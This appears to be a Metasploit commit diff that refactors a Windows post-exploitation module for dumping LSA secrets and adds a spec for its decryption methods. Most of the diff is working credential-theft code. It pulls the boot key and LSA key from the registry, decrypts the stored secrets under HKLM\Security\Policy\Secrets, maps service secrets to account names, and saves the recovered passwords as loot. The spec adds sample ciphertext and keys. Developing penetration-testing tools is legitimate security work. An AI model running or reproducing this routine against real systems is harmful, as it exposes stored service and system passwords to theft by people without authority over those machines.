Refactor lsa and add a spec for its crypto methods
parent
8f2ba68934
commit
3168359a82
|
@ -92,7 +92,11 @@ module Msf::Post::Windows::Priv
|
|||
basekey = "System\\CurrentControlSet\\Control\\Lsa"
|
||||
|
||||
%W{JD Skew1 GBG Data}.each do |k|
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
||||
begin
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
end
|
||||
|
||||
return nil if not ok
|
||||
bootkey << [ok.query_class.to_i(16)].pack("V")
|
||||
ok.close
|
||||
|
@ -155,26 +159,24 @@ module Msf::Post::Windows::Priv
|
|||
# Returns the LSA key upon input of the unscrambled bootkey
|
||||
#
|
||||
def capture_lsa_key(bootkey)
|
||||
begin
|
||||
vprint_status("Getting PolSecretEncryptionKey...")
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
|
||||
pol = ok.query_value("").data
|
||||
vprint_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}")
|
||||
ok.close
|
||||
vprint_status("Getting PolSecretEncryptionKey...")
|
||||
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolSecretEncryptionKey", "")
|
||||
if pol
|
||||
print_status("XP or below client")
|
||||
@vista = 0
|
||||
rescue
|
||||
else
|
||||
vprint_status("Trying 'V72' style...")
|
||||
vprint_status("Getting PolEKList...")
|
||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
|
||||
pol = ok.query_value("").data
|
||||
vprint_good("Pol: #{pol.unpack("H*")[0]}")
|
||||
ok.close
|
||||
pol = registry_getvaldata("HKLM\\SECURITY\\Policy\\PolEKList", "")
|
||||
print_status("Vista or above client")
|
||||
@vista = 1
|
||||
end
|
||||
# If that didn't work, then we're out of luck
|
||||
return nil if pol.nil?
|
||||
|
||||
if( @vista == 1 )
|
||||
vprint_good("Pol: #{pol.unpack("H*")[0]}")
|
||||
|
||||
if @vista == 1
|
||||
lsakey = decrypt_lsa_data(pol, bootkey)
|
||||
lsakey = lsakey[68,32]
|
||||
vprint_good(lsakey.unpack("H*")[0])
|
||||
|
@ -194,13 +196,15 @@ module Msf::Post::Windows::Priv
|
|||
return lsakey
|
||||
end
|
||||
|
||||
#
|
||||
# Decrypts the LSA encrypted data
|
||||
#
|
||||
def decrypt_lsa_data(pol, encryptedkey)
|
||||
# @param pol [String] The policy key stored in the registry
|
||||
# @param encrypted_key [String]
|
||||
# @return [String] The decrypted data
|
||||
def decrypt_lsa_data(pol, encrypted_key)
|
||||
|
||||
sha256x = Digest::SHA256.new()
|
||||
sha256x << encryptedkey
|
||||
sha256x << encrypted_key
|
||||
(1..1000).each do
|
||||
sha256x << pol[28,32]
|
||||
end
|
||||
|
@ -216,17 +220,20 @@ module Msf::Post::Windows::Priv
|
|||
aes.decrypt
|
||||
aes.padding = 0
|
||||
xx = aes.update(pol[i...i+16])
|
||||
decrypted_data += xx
|
||||
decrypted_data << xx
|
||||
end
|
||||
vprint_good("Dec_Key #{decrypted_data}")
|
||||
|
||||
return decrypted_data
|
||||
end
|
||||
|
||||
# Decrypts "Secret" encrypted data
|
||||
# Ruby implementation of SystemFunction005
|
||||
# the original python code has been taken from Credump
|
||||
#
|
||||
# Ruby implementation of SystemFunction005. The original python code
|
||||
# has been taken from Credump
|
||||
#
|
||||
# @param secret [String]
|
||||
# @param key [String]
|
||||
# @return [String] The decrypted data
|
||||
def decrypt_secret_data(secret, key)
|
||||
|
||||
j = 0
|
||||
|
|
|
@ -30,79 +30,70 @@ class Metasploit3 < Msf::Post
|
|||
))
|
||||
end
|
||||
|
||||
def reg_getvaldata(key,valname)
|
||||
v = nil
|
||||
begin
|
||||
root_key, base_key = client.sys.registry.splitkey(key)
|
||||
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
|
||||
vprint_status("reading key: #{key}#{valname}\n")
|
||||
v = open_key.query_value(valname).data
|
||||
open_key.close
|
||||
rescue
|
||||
print_error("Error opening key!")
|
||||
end
|
||||
return v
|
||||
end
|
||||
|
||||
# Decrypted LSA key is passed into this function
|
||||
def get_secret(lsa_key)
|
||||
output = "\n"
|
||||
|
||||
#Decrypted LSA key is passed into this function
|
||||
def get_secret(lkey)
|
||||
sec_str = "\n"
|
||||
# LSA Secret key location within the registry
|
||||
root_regkey = "HKLM\\Security\\Policy\\Secrets\\"
|
||||
services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
|
||||
|
||||
#LSA Secret key location within the register
|
||||
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
|
||||
secrets = registry_enumkeys(root_regkey)
|
||||
|
||||
key_arr = meterpreter_registry_enumkeys(root_key)
|
||||
secrets.each do |secret_regkey|
|
||||
sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey)
|
||||
next unless sk_arr
|
||||
|
||||
key_arr.each do |keys|
|
||||
mid_key = root_key + "\\" + keys
|
||||
sk_arr = meterpreter_registry_enumkeys(mid_key)
|
||||
sk_arr.each do |mkeys|
|
||||
#CurrVal stores the currently set value of the key, in the case of
|
||||
#services it usually come out as plan text
|
||||
if(mkeys == "CurrVal")
|
||||
val_key = root_key + "\\" + keys + "\\" + mkeys
|
||||
v_name = ""
|
||||
sec = reg_getvaldata(val_key, v_name)
|
||||
if( @vista == 1 )
|
||||
#Magic happens here
|
||||
sec = sec[0..-1]
|
||||
sec = decrypt_lsa_data(sec, lkey)[1..-1].scan(/[[:print:]]/).join
|
||||
else
|
||||
#and here
|
||||
sec = sec[0xC..-1]
|
||||
sec = decrypt_secret_data(sec, lkey).scan(/[[:print:]]/).join
|
||||
end
|
||||
# CurrVal stores the currently set value of the key. In the case
|
||||
# of services, this is usually the password for the service
|
||||
# account.
|
||||
next unless mkeys == "CurrVal"
|
||||
|
||||
if(sec.length > 0)
|
||||
if(keys[0,4] == "_SC_")
|
||||
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
|
||||
keys_c = keys[4,keys.length]
|
||||
user_key = user_key << keys_c
|
||||
n_val = "ObjectName"
|
||||
user_n = reg_getvaldata(user_key, n_val)
|
||||
val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys
|
||||
encrypted_secret = registry_getvaldata(val_key, "")
|
||||
|
||||
#if the unencrypted value is not blank and is a service, print
|
||||
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
|
||||
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
|
||||
else
|
||||
#if the unencrypted value is not blank, print
|
||||
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
|
||||
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
|
||||
end
|
||||
else
|
||||
next
|
||||
end
|
||||
if @vista == 1
|
||||
# Magic happens here
|
||||
decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
|
||||
else
|
||||
# and here
|
||||
encrypted_secret = encrypted_secret[0xC..-1]
|
||||
decrypted = decrypt_secret_data(encrypted_secret, lsa_key)
|
||||
end
|
||||
|
||||
next unless decrypted.length > 0
|
||||
|
||||
# axe all the non-printables
|
||||
decrypted = decrypted.scan(/[[:print:]]/).join
|
||||
|
||||
if secret_regkey.start_with?("_SC_")
|
||||
# Service secrets are named like "_SC_yourmom" for a service
|
||||
# with name "yourmom". Strip off the "_SC_" to get something
|
||||
# we can lookup in the list of services to find out what
|
||||
# account this secret is associated with.
|
||||
svc_name = secret_regkey[4,secret_regkey.length]
|
||||
svc_user = registry_getvaldata(services_key + svc_name, "ObjectName")
|
||||
|
||||
# if the unencrypted value is not blank and is a service, print
|
||||
print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n")
|
||||
output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n"
|
||||
else
|
||||
# if the unencrypted value is not blank, print
|
||||
print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n")
|
||||
output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n"
|
||||
end
|
||||
end
|
||||
end
|
||||
return sec_str
|
||||
|
||||
return output
|
||||
end
|
||||
|
||||
# The sauce starts here
|
||||
def run
|
||||
|
||||
hostname = session.sys.config.sysinfo['Computer']
|
||||
hostname = sysinfo['Computer']
|
||||
print_status("Executing module against #{hostname}")
|
||||
|
||||
print_status('Obtaining boot key...')
|
||||
|
@ -110,10 +101,14 @@ class Metasploit3 < Msf::Post
|
|||
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
|
||||
|
||||
print_status('Obtaining Lsa key...')
|
||||
lsakey = capture_lsa_key(bootkey)
|
||||
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
|
||||
lsa_key = capture_lsa_key(bootkey)
|
||||
if lsa_key.nil?
|
||||
print_error("Could not retrieve LSA key. Are you SYSTEM?")
|
||||
return
|
||||
end
|
||||
vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}")
|
||||
|
||||
secrets = hostname << get_secret(lsakey)
|
||||
secrets = hostname + get_secret(lsa_key)
|
||||
|
||||
print_status("Writing to loot...")
|
||||
|
||||
|
|
|
@ -0,0 +1,69 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'msf/core/post/windows/priv'
|
||||
|
||||
describe Msf::Post::Windows::Priv do
|
||||
|
||||
subject do
|
||||
mod = Module.new
|
||||
mod.extend described_class
|
||||
mod.stub :vprint_status
|
||||
mod.stub :print_status
|
||||
mod
|
||||
end
|
||||
|
||||
# For Vista and newer
|
||||
describe "#decrypt_lsa_data" do
|
||||
let(:ciphertext) do
|
||||
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||
"\x00\x00\x00\x01\x68\x6e\x97\x93\xdb\xdb\xde\xc8\xf7\x40\x08\x79"+
|
||||
"\x9d\x91\x64\x1c\x03\x00\x00\x00\x00\x00\x00\x00\x68\x38\x3f\xc5"+
|
||||
"\x94\x10\xac\xcf\xbe\xf7\x8d\x12\xc0\xd5\xa2\x9d\x3d\x30\x30\xa8"+
|
||||
"\x6d\xbd\xc6\x48\xd3\xe4\x36\x33\x86\x91\x0d\x8d\x8f\xfc\xd4\x8a"+
|
||||
"\x87\x0c\x83\xde\xb4\x73\x9e\x21\x1b\x39\xef\x04\x36\x67\x97\x8a"+
|
||||
"\x43\x40\x79\xcf\xdb\x3d\xcc\xfe\x10\x0c\x78\x11\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
end
|
||||
let(:lsa_key) do
|
||||
"\x93\x19\xb7\xb3\x93\x5b\xcb\x53\x5c\xb0\x54\xce\x0f\x5e\x27\xfd"+
|
||||
"\x4f\xd1\xe3\xd3\x5b\x8c\x90\x4c\x13\xda\xb8\x39\xcc\x4e\x28\x43"
|
||||
end
|
||||
let(:plaintext) do
|
||||
# Length of actual data?
|
||||
"\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
||||
# Unicode msfadmin
|
||||
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"+
|
||||
# As far as I can tell, the rest of the data is gibberish?
|
||||
# Possibly random padding, since plaintext seems to always be a
|
||||
# multiple of 16 bytes.
|
||||
"\xc3\x5f\x85\xc2\x62\x55\x25\x6c\x42\x89\x88\xc1\xe0\xe8\x17\x5e"
|
||||
end
|
||||
|
||||
it "should produce expected plaintext" do
|
||||
decrypted = subject.decrypt_lsa_data(ciphertext, lsa_key)
|
||||
decrypted.should == plaintext
|
||||
end
|
||||
end
|
||||
|
||||
# For XP and older
|
||||
describe "#decrypt_secret_data" do
|
||||
let(:ciphertext) do
|
||||
# From "HKLM\\Security\\Policy\\Secrets\\"
|
||||
"\x22\xea\xc4\xd8\xfc\x5d\x36\xf4\x2e\x8b\xd3\x0f\x5d\xbc\xc4\x3a" +
|
||||
"\x37\x4b\x84\xea\xa0\xc0\x96\x61"
|
||||
end
|
||||
let(:boot_key) do
|
||||
"\x27\x18\x0a\x2e\xe0\xfb\x98\x52\x77\x06\x24\x8e\x21\x80\xf4\x56"
|
||||
end
|
||||
let(:plaintext) do
|
||||
# Unicode "msfadmin"
|
||||
"\x6d\x00\x73\x00\x66\x00\x61\x00\x64\x00\x6d\x00\x69\x00\x6e\x00"
|
||||
end
|
||||
|
||||
it "should produce expected plaintext" do
|
||||
subject.decrypt_secret_data(ciphertext, boot_key).should == plaintext
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue